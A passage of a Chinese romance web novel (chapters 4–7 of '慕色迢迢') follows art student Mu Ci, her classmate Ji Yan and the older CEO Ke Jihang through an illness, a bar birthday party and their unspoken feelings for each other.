不远处，正在打篮球的季彦视线扫过这边，皱了皱眉，快速跑了过来。
“怎么了？”
见到季彦，时湾立即道：“慕瓷病了，我正要送她去医务室。”
“病了？严重吗？”
“发烧了。”
“正好，我们一起扶她——”
时湾话还没说完，季彦一把将慕瓷抱起，大步往医务室走去。
时湾在后面看的目瞪口呆，正是下课时分，周围不知所以的同学看见这一幕都跟着起哄，美术学院谁人不知艺术设计系的季彦喜欢国画系的慕瓷啊？
金童玉女，养眼的很。
没人不爱看。
不远处，来美院见朋友的林妍妍不知道出于什么心态，悄悄把手机拿了出来，对着前方悄悄拍了一张照。
恒清集团总部。
简秘书领着唐诗怀进来，她敲门：“柯总，唐小姐来了。”
“进来。”
柯霁行正在回邮件，简秘书将唐诗怀引至会客区稍候，得体地询问：“唐小姐，喝些什么？”
唐诗怀微笑：“一杯美式，谢谢。”
“不客气。”
简秘书将咖啡放在了唐诗怀面前：“唐小姐，慢用。”
柯霁行处理完手上的事情，来到会客厅。
唐诗怀笑着调侃：“恒清真是人才济济啊，师兄身边的秘书们不仅能力好，也是个顶个的漂亮啊。”
她和柯霁行同个大学毕业，虽然不是一个院系，但真要论，这声“师兄”叫的也没错。
柯霁行不置可否。
总裁办秘书有七八个，各自分管不同，相貌是他们身上最微不足道的优势。
工作应酬，筹光交错，有些场合需要带人出席，柯霁行不爱麻烦，一般会在总裁办领个人带上。
唐诗怀自然明白，洁身自好的男人更引人心动。
她眼中笑意加深：“看来我的选择没错。”
这句话似是而非，引人遐想，但柯霁行就跟没听懂一样，公事公办回答：“集团不会亏待你，恒清文娱不是边缘板块——不比你在航惟差。”
恒清文娱是集团接下来要大力扶持的板块，需要一位有魄力的领导。唐诗怀能力高，左右逢源，再难啃的骨头都能搞定，很适合这个职位。
至于她心里藏了什么小心思一概不在柯霁行考虑范围内。
“咔嚓”一
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声，是打火机的声响。
柯霁行淡声问：“唐小姐不介意吧？”
唐诗怀：“柯总随意。”
隔着烟雾，唐诗看着眼前的男人，心快要跳出胸口。
她从来没有见过一个男人把抽烟这样一个简单的动作都做的如此令人着迷。
“准备什么时候过来上班？”柯霁行掸了掸烟灰，问道。
唐诗怀无奈：“师兄怎么就不给我喘口气的时间？就这么着急让我替你卖命么？”
女人嗓音温柔，意有所指。
男人没说话。
唐诗怀眼神黯淡了一瞬，很快便回过神：“下个礼拜就来，就是你让我闲着我还闲不住呢！”
柯霁行随意的点了点头，“具体细节你和人事部谈，有什么要求都可以提。我一会还有个会。”
很明显的逐客令了。
唐诗怀的笑意僵住了，她启唇，还想说些什么，门却突然被敲响。
赵晨进来，俯身压低嗓音对柯霁行说：“慕小姐出事了。”
肉眼可见，柯霁行一瞬间就变了脸色，匆匆留了一句“失陪”，便捻了烟，连西装外套都没来得及拿，瞬间不见了人影。
只剩下磨砂门被人大力推开又合上，惯性晃荡的声响。
唐诗怀看着余震过后办公室的门，面色渐渐沉了下去。
她小柯霁行一届，柯霁行还在学校的时候就是学校里的名人，创造了无数神话，后来接管恒清集团之后，更是杀伐果决，清冷无情，究竟发生了什么事，能让柯霁行如此焦急？
刚刚推脱说有会议，如今竟是连会议也顾不上了么？
唐诗怀咽下已经凉了的美式，她离开总裁办之前，脚步顿了顿，朝着简秘书道：“咖啡很好喝，简秘书手艺很好。”
简秘书微笑：“谢谢。”
唐诗怀像是不经意的问：“刚刚师兄说有个会，后来急匆匆的跑出去了，没有出什么事吧？”
简秘书笑容未变，“唐小姐，这是柯总的私事，我不太清楚。”
唐诗怀笑道：“是我唐突了，那便不打扰了。”
“唐小姐慢走，已经通知司机在停车场等您。”
唐诗怀颔首，不再停留，只有高跟鞋“哒哒”在地板上的声音渐行渐远。
*
医务室。
慕瓷在病床上输液，时湾替她盖上了小毯子。
季彦额头上汗珠滚落。
时湾看了他一眼，说：“我去买点粥，一会慕瓷醒了可以吃。”
季彦点头：“我看着她，你去吧。”
时湾离开后，季彦坐在病床边的椅子上，拿起外套随意擦了下额头上的汗。
女孩安静的躺在那儿，面色苍白，唇瓣更是没有一点血色。
季彦抿唇。
慕瓷一向生动活泼，他很少看见她这么虚弱的样子。
什么时候开始喜欢上慕瓷的，季彦已经记不清了。
第一次见到慕瓷是一个夏天，他打篮球磕破了膝盖，慕瓷路过，给他递了个创口贴。
上面印着几只橘色的小猫。
后来在校园里，他又看到她了。
女孩站在路边，几只小橘猫在她脚边蹭来蹭去，她蹲下去，轻柔抚摸小猫软乎乎的脑袋，整个人温柔极了。
后来他才知道那是国画系的慕瓷。
追他的女生很多，但不知从什么时候起，他的眼睛只有慕瓷一个人，再也看不见旁人了。
季彦看着眼前的女孩，年少的爱恋总是炙热又义无反顾的。
喜欢的人就在面前，年轻气盛的男孩怎么能忍住不靠近？
就像是有一股魔力，季彦慢慢靠近那张他朝思暮想的脸，近一点，再近一点——
倏地，手腕处忽然传来一股极大的力道，大到几乎要将他的骨头碾碎。
下一秒，他几乎是被甩了出去。
季彦稳住身子，便看见一个高大挺拔的身躯背着光，挡在慕瓷前面，几乎将病床上女孩的身影全部挡在身后，不让他窥见一丝半毫。
季彦顿住，对上面前男人不算友善的眼神，皱了皱眉：“你是谁？”
5. 慕色迢迢
Chapter05
时湾回来时，病床上空无一人。
“慕瓷呢？”
季彦坐在一旁，好半天都没回过神来，直到时湾又问了一遍，他才低声道：“被家人接回去了。”
*
鹤湖别院。
单熠刚从女孩房间出来，便被柯霁行堵在门口。
“她怎么样了？”
单熠挑眉：“你这幅样子倒是少见。”
柯霁行没心情和他说笑：“单熠。”
男人嗓音发沉，单熠举手：“行了，发烧而已，没什么大事，这几瓶水吊完就好了。”
这点小事，就急急忙忙的把他喊过来，刚刚柯霁行那个阵仗，他还以为是什么不治之症呢。
单熠摇了摇头，也就是慕大小姐的事，能让柯霁行理智全无。
“这几天吃清淡些，养一养。”
“没什么事我回院里了，晚上还值班呢。”
柯霁行“嗯”了一声，让司机把单熠送了回去。
人都走空了，良久，柯霁行才走到阳台上，燃了一支烟。
慕瓷在的地方，他一般不抽烟。女孩娇气，鼻子又灵，极淡的烟味她也能闻得出来。
只抽了两口，柯霁行便克制地把烟掐灭。
男人在阳台上站了很久，直到身上的烟味都被夜风吹散，才推开了女孩的房间门。
陪护正将针头从她手背上拔出，动作已经足够轻，但慕瓷的眉头还是轻轻皱了一下。
房门口的男人分明一句话也没有说，但陪护还是感觉到了那股似有若无的凉意。
她火速将东西收拾好，退了出去。
室内静谧，柯霁行走到床边，垂眸看她。
女孩眉头轻皱着，不知道的还以为她受了多大委屈。
慕瓷小时候身体不是很好，进医院是家常便饭，可小姑娘娇气的很，吃药要哭，打针更是要哭，柯霁行就没有见过这么爱哭的女孩子，哭了就要找他撒娇，十几年过去，柯霁行才发现，哄她这件事好像不知从何时开始已经变成他的本能。
他伸手，抚平她皱起的眉头。
才扎了一针，女孩血管旁边已经泛青，柯霁行握起她的手，看着针孔，眼底深沉。
*
赵晨过来的时候，柯霁行刚开完视频会。
“柯总，明日去沪市的行程——”
柯霁行淡声说：“让齐总替我去。”
赵晨愣了一秒，立即回道：“好的。”
柯霁行又吩咐了几件工作上的事，赵晨才离开。
已经深夜一点钟了。柯霁行洗完澡，睡前记挂着慕瓷有没有退烧，特意去房里看了一眼。
这一看不打紧，床上的被子不知何时已经被女孩踢到了地毯上。
柯霁行捏了捏眉心，将被子盖到她身上。
下一秒，慕瓷又将被子给推开了。
女孩嘴里无意识呢喃：“……热。”
柯霁行伸手探了探她的额头，已经不发热了。
他哄道：“乖，不能踢被子。”才刚好一点，要是受了凉，明天只怕是又要烧起来了。
可慕瓷从来就不是个肯委屈自己的人，更何况现在她没有意识。
柯霁行没有办法，只能俯身，将人裹进被子里，再将被角塞进去，不许她乱动。
可能是被裹住不舒服，慕瓷下意识挣扎了起来。
没料到睡梦中的病人也这么有力气，一个不防，竟让她挣脱了一角，眼看着就要从被子角落溜出去。
柯霁行下意识往另一侧俯身，把掀起的被角给压住。
动作间，睡衣最上方的扣子不知何时散开了，慕瓷刚好往他的方向躲了一下，干涩的唇瓣就这么轻轻在男人的胸膛上蹭了一下。
柯霁行的身子僵住了。
下一秒，柯霁行像是被烫到了一样，立马从床上弹了起来。
男人背对着床，神色在阴影处看不真切。
而床上的女孩压根不知道自己都干了些什么，没了束缚，也不再挣扎，沉沉睡去。
*
第二天，慕瓷醒过来的时候不知今夕何夕，好半晌才发现自己这是在鹤湖别院。
她下了楼，看见林嫂在厨房忙碌。
“林嫂。”
林嫂回头：“小小姐，你醒啦？还有没有哪里不舒服？”
慕瓷摇了摇头：“好多了。你怎么在这？”
林嫂：“是少爷让我过来照顾你，他吩咐这几天让我给你做点清淡营养的好好养养身子。”
脑中闪过一些画面，她问：“是他带我回来的？”
“可不是嘛！少爷照顾了你一夜，天亮了才离开呢！”
慕瓷心头划过一丝甜蜜，拿出手机给柯霁行发消息。
【小行哥哥这么敬业呀？一夜没睡还有精神上班？】
林嫂端了早餐上来。慕瓷心情好，连平常看着烦人的早餐也觉得赏心悦目起来，她边吃早餐，边盯着手机看。
一分钟，两分钟，五分钟过去了，柯霁行还没有回复。
慕瓷咬了咬勺子，将手机扣在桌面上。
轻轻“哼”了一声。
想起什么，她又笑了，朝着厨房问说：“林嫂，早餐再帮我打包一份！”
慕瓷换了衣服，上了车，老林问：“小小姐不多休息休息吗？这是要去哪儿？”
慕瓷：“去恒清。”
柯霁行一早就去公司，肯定没吃早饭，她去当田螺姑娘啦。
车子刚行驶没一会儿，慕瓷的手机轻轻震动了一下。
慕瓷几乎是立马就将手机拿了起来。
果然是柯霁行的消息。
【去沪市出差，这几天乖乖养病，不要乱跑。】
出差了啊。
慕瓷失望的看着手机屏幕，好久才回了个兔子乖乖的表情包。
那边没有再回复。
“林叔，不去恒清了，送我回学校吧。”
*
宿舍里，慕瓷将早餐放到桌上。
时湾：“病好了？你怎么知道我没吃早饭。”
慕瓷撑着脑袋，低头看手机。
时湾吃了口蒸饺：“小瓷，这是哪里买的早点，也太好吃了吧！”
“家里带的。”
时湾大概知道一点慕瓷家里背景，闻言，感叹道：“这就是资本家的快乐吗？我也体会到了！”
慕瓷被她逗笑了。
“对了，昨天带你走的人是谁啊？我出去一趟你人就不见了，问季彦他也不说。”
“季彦？”慕瓷问：“和他有什么关系。”
“你不知道吗？昨天是他送你去医务室的，我一个人可做不到。”
慕瓷微顿。
时湾看了她一眼，边吃早餐边叹道：“是谁在为爱情烦恼我不说。”
慕瓷抬眼：“我不喜欢他。”
“可他喜欢你呀。”
时湾：“他喜欢你你不喜欢他，你喜欢他，他却不喜欢你。”
“这就是世俗的爱情呐～”
慕瓷抿唇，拿着手机不知在想些什么。
过了会儿，慕瓷拿起手机给季彦发了条消息。
【昨天谢谢你。】
季彦很快回了：【身体好点了吗？】
【已经没事了。】
【那就好。】
另一边，季彦打字：昨天的男人——
打到一半，季彦又全部删掉。
他烦躁地将手机扣在桌上，他有什么立场问这些？
西装革履，气势凌然，一看就不是学生。而且看起来比慕瓷大不少，应该是她家里人吧？
哥哥？
只是男人眼中对他的敌意。
不太像。
季彦抿抿唇。
过了会儿，季彦发了条消息：【最近发现一家不错的日料，有空一起去吃？】
季彦忐忑的刷着手机，就怕错过慕瓷的消息。
好一会儿，慕瓷的消息才回过来。
【好，你什么时候有空？】
他帮了自己，于情于理，她应该道谢。
季彦心跳很快，按捺不住心中欣喜。
——却压根没注意到慕瓷语句里的疏离与客气。
*
另一边，赵晨看了眼从早上开始就惜字如金的男人，到底没敢问为什么昨晚说让齐总去的行程，天还没亮就吩咐说要亲自去。
飞机直入云霄，柯霁行回了一个邮件，手机切换到微信界面，不小心点开了置顶消息。
女孩发的消息映入眼帘。
小行哥哥。
明明是从小就听惯了的称呼，不知道为什么，此刻看着居然有些刺眼。
柯霁行指尖用力，屏幕顿时暗了下去，连带着女孩那句带着撒娇的话语也消失不见。
*
接下来一段时间，柯霁行很忙，大部分时间都在四处飞，慕瓷很久没见到他人影。
倒是碰到一次赵晨回山泰湾给柯霁行取衣物。
赵晨说柯总行程很满，最近在洽谈一桩合作案，忙得连睡觉吃饭的时间都没有。
慕瓷是知道柯霁行这个工作狂的，忙起来什么都顾不上。她
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只好每天在饭点给他发消息，让他按时吃饭。
柯霁行倒是都会回，只是回的言简意赅。
【嗯】
【知道了】
【好】
譬如此类，一点新奇感都没有。
无聊透了。
五月上旬，柯霁行去英国出差。他不在京市，慕瓷也没住在山泰湾，而是住进了鹤湖别院，这里离学校近，临近毕业虽不需要天天去学校，但琐碎的事情还是很多，近一点还是方便一些。
赵晨早就将鹤湖别院上上下下都按照慕瓷的喜好置办好了——里边的床也按照柯霁行的吩咐，换成了和山泰湾一样的。
慕瓷将一楼右侧弄成了开放式工作室，外边通向露台，一抬眼就可以看到满园鲜花。
此刻慕瓷正在工作室画画，光线照射在画板上，线条勾勒的是一个男人的侧影，男人微微弯着手臂，脉络分明的手轻扯着领带，领口凌乱。
简单的一个动作，硬是被她画的禁欲感十足。
慕瓷捂脸，目光却从指缝中流出，掩耳盗铃般流连在男人禁欲的喉结上。
呜~真的好帅啊！
慕瓷咽了口口水，脚趾蜷缩着，无意识的抓了抓拖鞋。
手机忽然震动起来，慕瓷揉搓了下脸颊，接了起来。
是时湾打来的。
“小瓷，我们在RA给应菲庆生，你怎么还不过来啊？就等你了！”
慕瓷看了眼时间，发现已经下午四点多了。
“马上来！”
RA是京市一家有名的酒吧，柯霁行一般不许她到这些地方来，但今天应菲生日，慕瓷不想扫兴。
况且她自己也有小心思，她从来没去过酒吧，也想去看看，反正这会儿柯霁行在英国，她悄悄的，没人能知道！
慕瓷在衣柜里挑了半天衣服。
鹤湖别院的衣服基本是柯霁行给她置办的，漂亮舒适，也很符合她的审美，只是男人在某些事情上说一不二，给她置办的衣服几乎全部都过膝。慕瓷小声嘀咕，这些衣服一点都不女人，穿这些去酒吧也不合适啊。
慕瓷指尖在衣柜里的衣服上一件件拂过，到一件红色裙子时，她的动作顿住了。
她把裙子拿出来才想起来，这好像是温荔送她的。
那时候温荔还在追傅靳纶，让慕瓷陪她去买衣服，挑了好几件全都是性感极致的裙子，还非要给她挑一件。
后来这件衣服被柯霁行瞧见，直接扔进了柜子不许她穿。
柯霁行在某些方面，对她的控制欲极强。
她虽然不服气，但是却也懒得为件裙子和他闹，一次都没穿过。
今天这场合，倒是合适。
慕瓷眼珠子转了转，直接忽略了柯霁行曾经说过的“不许”。
*
慕瓷出现在应菲他们包厢时，在场的人几乎都看呆了。
一件吊带复古波尔多红裙将女孩玲珑有致的身材显露无疑，双腿笔直纤细，复古红更是衬的慕瓷肤若凝脂，白的晃眼。
应菲下意识咽了口口水，把慕瓷拉过来，顺手在她腰上摸了一把，“卧槽，小瓷你这腰，这胸，我一个女人看了都快不行了！”
时湾也看直了眼：“小瓷，没看出来啊，你怎么这么会长啊！”
“好白，好软——”
慕瓷：“。”
她穿这一身还有些不自在，她摸了摸鼻尖，“不会很奇怪吗？”
周围的人异口同声：“不会！”
时湾说：“真的好漂亮，小瓷，你就应该这么穿，不然白瞎了你这么好的身材啊！”
慕瓷说：“……我这样，不像小孩偷穿大人衣服？”
时湾伸手，捏了捏：“谁家小孩这么大啊？”
慕瓷笑着往一旁躲。
慕瓷把手里的礼物递给应菲：“菲姐，生日快乐！”
应菲接过，笑着说：“谢谢。”
“对了，我今天还邀请了季彦，他们怎么还没到啊？”
说曹操，曹操到。
门被推开，季彦和几个男生一起走进来。
包厢内人不少，但季彦一进来目光就锁在了慕瓷身上，身边的好友推搡着笑：“咱们彦哥这是看直了眼？”
季彦不好意思撇开了视线，又抬眼看了下慕瓷，才用手肘轻轻抵了下损友，让他闭嘴。
“好好好，我不说了我不说了！”
慕瓷抬眸，他们身后有身影一闪而过。
她漂亮好看的眉头轻轻皱起，她怎么好像看到柯霁行了？
……而且，柯霁行身边怎么还有个女人？
6. 慕色迢迢
Chapter06
此刻，RA另一间包厢里。
闻暨往角落里抬了抬下巴，问一旁的傅靳纶：“这是怎么了？”
傅靳纶扫了一眼，没说话。
闻暨也没指望他回答，他坐到柯霁行旁边，撞了撞他肩膀：“情绪不高啊柯总？什么人有那么大能耐能把你变成这副德行？”
柯霁行扯了扯唇角，懒得理他。
“啧，这才刚从国外回来，哪来这么大火气？”
柯霁行搁下酒杯，扯了扯领口，从烟盒抽了根烟，将烟盒扔在桌上，往后一靠，懒散的把烟咬到嘴边。
他们几个相识多年，说话向来没什么顾忌。
“火气？我瞧柯二这样子倒也像，傅三，不是听说你最近搞了个娱乐公司？有没有刚入圈的小姑娘，给柯二介绍一下。”
单熠话还没落音，柯霁行头也不抬，骂道：“叫谁呢？”
他们几个年岁虽然相差不大，但真论起来，闻暨最大，柯霁行只小他不到一月。
但他平常压根不乐意让他们瞎喊。
“噗嗤”一声，单熠没忍住，笑了出来，他就是恶趣味，爱看柯霁行黑脸。
傅靳纶：“公司是霁行弄的，我不过替他出个面罢了。”
闻暨也来了兴趣：“怎么着？恒清准备进军娱乐圈了？这是准备捧谁？”
柯霁行随手掸了掸烟灰，还没说话，单熠便开口：“这还用说？难道你们忘了，谭大小姐的合约快到期了。”
谭凝是柯霁行亲妹妹，恒清突然买个娱乐公司并不奇怪。
柯霁行不置可否，一根烟燃完，他将烟掐灭。
只有傅靳纶顿了顿，柯霁行这段时间的动作可不仅仅只是收购了一家娱乐公司这么简单，他可是听说柯霁行私下在置办一家画室，就在恒清总部旁边，京市CBD最中心的位置。
这样寸土寸金的位置，也只有柯霁行舍得拿来做一家画室了，就连傅靳纶也不禁咂舌。
为了谁，简直不言而喻。
这京市除了慕大小姐，还有谁能让恒清的柯总这般费尽心思？
听说慕瓷快毕业了，柯霁行真是什么都替这位慕大小姐想好了。
柯霁行喝了不少，隐约有些醉意，在包厢前面外站了一会儿，夜风吹散了身上的酒意
他拿出手机，黑瞳盯着手机看了半天也不知在看些什么。
他点开通讯录，指尖用力，刚要按下去，身后忽然传来一道声音。
“柯总？”
柯霁行一顿，将手机按灭，转过身子。
来人是晏燃，身边还站着唐诗怀。
柯霁行伸手，“晏总。”
晏燃和他握了个手，“好久不见，柯总最近还好？”
柯霁行点头算作回应。
唐诗怀眸中闪过亮光：“师兄什么时候回来的？”
这次英国之行，她本来是和柯霁行一起去的，只不过后来家里出了点事，她就先回来了。
“刚落地。”
晏燃挑眉，“我说你为什么在航惟做的好好的，非得要去恒清呢，原来是醉翁之意不在酒。”
被晏燃在这么大庭广众之下戳中心思，唐诗脸都热了起来：“表哥！你说什么呢！”
柯霁行唇角微勾，笑意却不达眼底。
他与晏燃关系一般，恒清与航惟在商场上虽有合作但也屡有交锋，两人关系不咸不淡，但总归是一个圈子里的人，面子上都过得去。
显然晏燃也是这么想的，聊了几句之后，他扯了扯嘴角：“我们先走了，柯总玩得尽兴。”
闻暨推开门出来，往前瞧了一眼：“那不是航惟的晏燃么？”
柯霁行嗯了一声，随口道：“之前见过？”
“在宴会上见过几次，没有深交。”
“这RA好像也是航惟的产业。”
闻暨停顿几秒，说：“不简单。”
“你很少到这些地方来怕是不知道，RA现在是京市有名的销金窟，一晚上下来费用可不低。很多有权有势——”
“我.操——”闻暨看着不远处，忽然止住话语，眼珠子都快要瞪出来。
他拍着柯霁行的肩膀，“柯二，那——那不是你家慕大小姐么？？？”
柯霁行嗤笑，“你喝多了吧，慕瓷怎么会出现在这儿？我家女孩乖得很，从来不——”
边说着，柯霁行随意的往闻暨指的方向扫了一眼，下一秒，微弯身子靠在栏杆上的男人慢慢站直了身子，话音陡然消失。
闻暨瞧了一眼身旁脸黑的男人。
“这就是你说的乖得很？”
柯霁行没说话，面色发沉，对面包厢里的女孩一袭红色短裙，坐下来显得更短，一双腿白的晃眼。
包厢里的男孩子，明里暗里，视线放在女孩身上的不在少数，有几道视线更像是黏在了女孩腿上一般，那点心思只差没写到脸上了！
*
季彦敷衍推拒过想拉着自己玩游戏的几个男生，拿了杯果汁，走到角落。
“喝点橙汁？”
慕瓷抬头，看见季彦不知什么时候坐到了自己身旁。
“谢谢，我喝这个就行。”她手里是杯果酒，度数不高，带着水果的香气，味道不错。
季彦手里的橙汁没被接过，他也不尴尬。
只是低下头放杯子的时候不小心瞥见一片白皙，他脸颊瞬间就红了，视线不敢乱瞟。
他掩饰般的咳了咳，猛地喝下小半杯酒。
时湾朝慕瓷挥了挥手，“小瓷，过来玩游戏啊，一个人呆着有什么意思？”
她显然玩的正嗨。
慕瓷笑了笑：“不玩了，我听会儿歌。”
她还在想刚刚那人究竟是不是柯霁行。
时湾还想说些什么，她身边的人笑的一脸暧昧撞了撞她的肩膀。
“有没有点眼色啊？别打扰校草和校花谈恋爱了！”
闻言，包厢里好几人起哄。
酒精上头，情绪外放，平常不敢显露的东西似乎在酒精的催化下无限放大。
看着慕瓷净白的脸颊，季彦心口怦怦直跳。
屏幕上刚好切换下一首歌。
是一首情歌。
季彦看了一眼，问慕瓷：“要不要唱歌？”
周围的人闻言，起哄道：“来一首！来一首！”
“合唱！合唱！”
季彦怕慕瓷不高兴，开口说：“别闹了！”
眼神里的期许却压根挡不住。
慕瓷笑意微敛，指腹轻轻拂过带着凉意的酒杯，“对不起，我——”
这时，包厢门忽然被推开，有店员端了瓶红酒进来。
应菲瞧见，奇怪的说：“你们点酒了吗？”
周围的人都摇头。
店员适时开口：“是柯先生送的。”
柯先生？
是哪位？
慕瓷却忽然心跳加快，手指紧紧攥住裙摆。
包厢安静片刻。
没人发现慕瓷的异常，有人拿起那瓶酒，惊呼道：“天哪，这么好的酒！？”
时湾走上前瞧了一眼，“什么酒？”
“你怕是不知道，这个
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牌子的酒，少说也得这个数。”说着，用手比了个数字。
时湾瞪大眼睛，“真的假的？？这么贵？？？”
都可以在她老家付个首付了！
到底是谁这么壕啊？？
慕瓷没有心思听他们说什么，“我去下洗手间。”
谁也没发现，经过这一场闹剧，大家早就将刚刚起哄季彦和慕瓷的事儿忘到天边去了。
*
慕瓷刚出包厢，就听到一道戏谑的嗓音：“哟，什么风把我们慕大小姐吹到这儿来了？”
她抬头，看见闻暨在不远处，而他身边的男人，身姿挺拔，指间夹着烟，撩起眼皮看她。
慕瓷撇开眼，不看他。转头乖巧喊闻暨：“舅舅。”
柯霁行：“。”
闻暨闷笑，他虽然是温荔的舅舅，但从前只要是他和柯霁行在一块的场合，慕瓷从来不这么喊他，毕竟这么一喊，柯霁行的辈分怎么论？
——除非，是慕瓷故意喊给某人听的。
柯霁行眯眼，掐灭烟。
“过来。”他嗓音低沉。
慕瓷不想理他。
气氛停滞几秒，闻暨打量了下这两人，勾着唇角说：“真难得，柯二也有吃瘪的时候。”
柯霁行懒得理他，径直走到慕瓷身边，“怎么到这来了？”
男人皱着眉头，语气算不上和善。
慕瓷脸偏向一边，就是不看他。
柯霁行耐心告罄，抬起她的下巴，“跟你说话呢，你没——”
沉沉的话音在望进女孩眼底的湿润时顿时销声匿迹。
哭鼻子被发现，慕瓷猛地甩开他的手，往旁边走了两步，避开他。
“行了，”闻暨见两人状况不对，推着慕瓷往他们包间走，“去我们那玩会儿。”
闻暨让人给慕瓷上了杯饮料，柯霁行在这，他可没胆子给慕瓷喝酒。
慕瓷拿着玻璃杯，丝丝凉意透着杯身传递到她手心，她看着手中液体折射出纸醉金迷的灯光，不知在想些什么。
单熠看了眼闻暨，什么情况？
闻暨耸耸肩，他怎么知道？？
不知过了多久，包间门被推开。
慕瓷没往那边看，却听见男人和傅靳纶说话低沉的嗓音。
过了一会儿，身边沙发深陷，有人坐到了她身旁。
是熟悉的木质味道，还带了一股很淡的烟草味。
慕瓷眼睫颤动。
男人伸手拿过她手中冰凉的玻璃杯，慕瓷下意识松开了手，任他拿走。
柯霁行将被子放到桌上，对旁边候着的侍者说，“拿杯玉米汁过来。”
侍者动作很快，柯霁行把玉米汁递给慕瓷，慕瓷垂眼，默了默，伸出葱白的手指，轻轻握住了温热的杯身。
柯霁行微微俯身，往女孩那边靠近：“还生哥哥的气？”
慕瓷抿了口玉米汁，好半晌，才有些别扭的说：“没生气。”
柯霁行挑眉，“那刚刚在门外眼睛红了的小姑娘是谁？”
“……”
慕瓷嘴硬：“我那是被冷气吹的！”
柯霁行勾了勾唇，没戳破她。
“现在冷吗？”
慕瓷摇摇头。
柯霁行“嗯”了一声，淡声说：“过来给朋友过生日？”
刚刚他在外面站了一会，看见对面包厢在切蛋糕。
“嗯。”慕瓷说：“跟舍友一起来的。”
柯霁行往后靠了靠，晃了晃杯子里的冰球，忽然偏头看她。
“那刚刚坐你旁边的男生是谁？”
7. 慕色迢迢
Chapter07
周围嘈杂，柯霁行这话说的漫不经心，好像只是随口一问。
慕瓷眨眨眼，“怎么，你很好奇？”
“而且你身边不是也有人吗？”
柯霁行一愣，他身边有人？
想起什么，他侧头：“刚刚你看到了？
慕瓷撇撇嘴，懒得回他这句。
柯霁行笑了笑，往后靠在沙发上。
“小家伙，管的还挺宽。”
慕瓷皱了皱眉，不喜欢他这个语气。
“我也才比你小七岁，你不要总是觉得我什么都不懂。”
柯霁行挑眉，还没说些什么，闻暨听了一耳朵，插嘴道：“小瓷妹妹，你这话说的就不对了。七岁，你小行哥哥接手恒清时，你还在上小学呢！”
柯霁行没忍住闷笑了两声。
他忽然想起来，那段时间恰巧慕瓷被慕港盛带到港城去住了一段时间，再次回来的时候，口音都被带偏了。口齿软糯不清，可爱死了。
他心底忽然划过一丝微妙，不知什么时候开始，那个走路都有些摇摇晃晃的小女孩早已亭亭玉立，翩然乖巧，像是一朵盛开花蕊，满室温香，引人驻足。
柯霁行静了一瞬，仰头咽下一口烈酒。
可慕瓷却会错了意，心底一寸一寸的往下沉。
刚刚柯霁行问她身边的男孩子是谁，那一瞬间她还以为柯霁行吃醋了。
慕瓷自嘲的笑笑，果然是自己想太多。
在柯霁行心里，自己就是个没长大的小孩子。
慕瓷没了耐心，起身：“我先走了。”
柯霁行放下杯子：“我送你——”
话还没说完就被慕瓷打断，“不用了，陈叔已经过来接我了。”
陈叔是慕家的司机。
柯霁行蹙眉，他连轴忙了一个多月，好不容易见着慕瓷，并不想这么早放她离开。
“那我和你一起回山泰湾。”
慕瓷冷淡：“怎么？恒清破产了？”
“……”
柯霁行叹气，不知自己又是哪儿惹了慕大小姐不高兴，但今晚已经把人惹哭了，柯霁行不想两人不欢而散。
他嗓音低沉，被酒浸润过后的嗓子带着一股迷人的沙哑。
“我喝酒了，司机也下班了，迢迢小姐发发善心，领我回家，行吗？”
他这话说的犯规，柯少要出门，哪怕再晚也有人侯着。
但或许是他的嗓音太过温柔，又或许是灯光昏暗迷了眼，总之慕瓷没再说话，默认了柯霁行和她一起离开了RA。
*
车内，柯霁行接了个工作电话，大多数都是电话那边在汇报，男人微阖眼，时不时应两句，嗓音在浓重的夜色中更显醇厚。
“啪嗒”一声，柯霁行听见动静，侧头看向一旁脖子扭向窗外的女孩——慕瓷看都不看他，还过分的将后座扶手给拉了下来。
楚河汉界，泾渭分明。
柯霁行：“……”
车外疾驰而过的光线投射在男人脸上，明明暗暗地交织着。
“脖子要断了。”
慕瓷扭过头，盯着他。
柯霁行叹息，将刚刚女孩放下、阻挡在两人之间的碍事的格挡给推回原处，才慢悠悠的开口：“就这么不想理我？”
慕瓷抿唇，嗓音小的跟什么似的。
“没有。”
一晚上，女孩嘴里全是拒绝。
柯霁行静了一瞬，心里忽然不受控制地涌起一股烦躁。
车子直接开进了慕家别墅。
柯霁行挽着西装下车，绕到车另一边，弯腰打开车门。
男人单手撑着车顶，半曲着腿，抵在车门旁，俯下身子看她。
夜色中，男人黑瞳深邃，眼神带着一闪而过的侵略性，下一秒又变得平和温柔。
慕瓷愣了一下，以为自己看错了。
柯霁行问：“去我那儿？给你从英国带了礼物。”
“不去。”
慕瓷伸手推开他，“劳驾，让让。”
柯霁行顺着慕瓷的力道让开了位置，慕瓷从车里出来。
“我又不是没家，总是去你那算怎么回事儿？”
柯霁行笑道：“现在知道自己有家了？之前一连几个月住在我那儿的时候怎么想不起来自己有家？”
他本是调侃，但慕瓷今晚本就看柯霁行哪哪都不顺眼，听罢，眼神冷了下来。
“是啊，名不正言不顺的，这不是迷途知返了么。”
空气突然安静，半晌，他说：“不是那个意思。”
气氛无可救药的冷场。
慕瓷闭了闭眼，明白自己这莫名其妙的脾气对柯霁行来说太不公平。
毕竟，他什么都不知道。
“小行哥哥，”慕瓷让自己弯起唇角，“我先回去洗个澡，你给我买了什么？我一会——”
话还没说完，柯霁行伸手碰了碰她唇角。
慕瓷一怔。
男人指腹的温度像是从她唇角烫到了心底，慕瓷呼吸都轻了。
“不想去就不去，不想笑就不笑。”
“迢迢。”男人喊她小名，低沉嗓音在月色下温柔的不可思议：“在小行哥哥这里不用藏着掖着，迢迢想做什么都可以。”
慕瓷抬头，撞进他如海般深不见底的眼眸，她下意识重复：“做什么都可以？”
柯霁行点头，嗓音带了点漫不经心：“就算要星星，哥哥也得把最亮那一颗给我们迢迢摘下来。”
“所以，”柯霁行将搭在臂弯上的西装取下，拢在慕瓷肩上，“回家睡觉去，礼物明天哥哥给你送货上门。”
慕瓷顺着他的力道往电梯口走了两步，她回过头，男人挺拔的身躯几乎快要和夜色融为一体。他就站在那里，温柔的注视着她，那一瞬，就好像她是他的全部。
她深呼一口气，拢了拢身上属于他的西装外套，全部感官都被一股名叫柯霁行的味道霸道侵袭，无孔不入。甚至某一刻，她觉得在他的西装笼罩下的自己，都被刻上了属于柯霁行的烙印。
慕瓷不再驻足，慢慢往家里走
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去。
她想要的星星，一直只有身边最耀眼的这一颗。
可是，小行哥哥，你肯给吗？
*
第二天起来时，慕瓷眼底一片青黑，把廖姨吓了一跳。
慕瓷捧着温热的牛奶慢吞吞的喝着。
廖姨说：“今天不去学校吧？中午想吃点什么？”
